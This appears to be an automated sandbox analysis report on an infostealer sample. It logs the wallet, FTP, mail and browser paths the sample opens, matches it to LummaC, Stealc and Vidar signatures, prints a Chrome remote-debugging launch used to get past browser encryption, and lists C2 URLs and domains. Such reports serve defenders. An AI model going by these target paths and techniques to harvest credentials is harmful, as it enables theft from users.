Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe

Directory queried: number of queries: 1294

Source: Yara match	File source: 0000001A.00000003.2852160535.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2878148913.0000000000CDC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3014928188.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2875540719.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2862807328.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 7408, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000021.00000003.2999328469.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3247798892.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2881702630.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2841341620.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2122615907.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3031855893.0000000005E01000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2882880413.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3087960505.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2983198162.0000000008270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2489334528.00000000001A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3288030820.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 9140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 6076, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0C40 sqlite3_bind_zeroblob,	0_2_6CCC0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0D60 sqlite3_bind_parameter_name,	0_2_6CCC0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8EA0 sqlite3_clear_bindings,	0_2_6CBE8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CCC0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6410 bind,WSAGetLastError,	0_2_6CBE6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE60B0 listen,WSAGetLastError,	0_2_6CBE60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC030 sqlite3_bind_parameter_count,	0_2_6CBEC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6070 PR_Listen,	0_2_6CBE6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CBEC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB722D0 sqlite3_bind_blob,	0_2_6CB722D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE63C0 PR_Bind,	0_2_6CBE63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
scriptyprefej.store	100%	URL Reputation	malware

URLs

Source	Detection	Scanner	Label
https://marshal-zhukov.com/(_	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/:f	0%	Avira URL Cloud	safe
http://185.215.113.16/8x	100%	Avira URL Cloud	phishing
http://185.215.113.206(	0%	Avira URL Cloud	safe
http://185.215.113.206/fB	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php37	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/zf	0%	Avira URL Cloud	safe
https://store.s	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeP&/	100%	Avira URL Cloud	phishing
https://community.fa	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpd	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpg	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/g	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apioa	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php/X	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phph	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apio	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apiu	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apiCQYHoC	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/))TR	0%	Avira URL Cloud	safe
https://www.youtube.com3	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/eiom	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false		high
steamcommunity.com	23.50.98.133	true	false		high
plus.l.google.com	142.250.185.206	true	false		high
play.google.com	142.250.181.238	true	false		high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false		high
sb.scorecardresearch.com	18.244.18.32	true	false		high
www.google.com	142.250.185.100	true	false		high
marshal-zhukov.com	188.114.97.3	true	false		high
googlehosted.l.googleusercontent.com	216.58.206.33	true	false		high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false		high
assets.msn.com	unknown	unknown	false		high
c.msn.com	unknown	unknown	false		high
ntp.msn.com	unknown	unknown	false		high
assets2.msn.com	unknown	unknown	false		high
navygenerayk.store	unknown	unknown	false		high
clients2.googleusercontent.com	unknown	unknown	false		high
bzib.nelreports.net	unknown	unknown	false		high
presticitpo.store	unknown	unknown	false		high
founpiuer.store	unknown	unknown	false		high
scriptyprefej.store	unknown	unknown	true	100%, URL Reputation	unknown
thumbystriw.store	unknown	unknown	false		high
necklacedmny.store	unknown	unknown	false		high
apis.google.com	unknown	unknown	false		high
api.msn.com	unknown	unknown	false		high
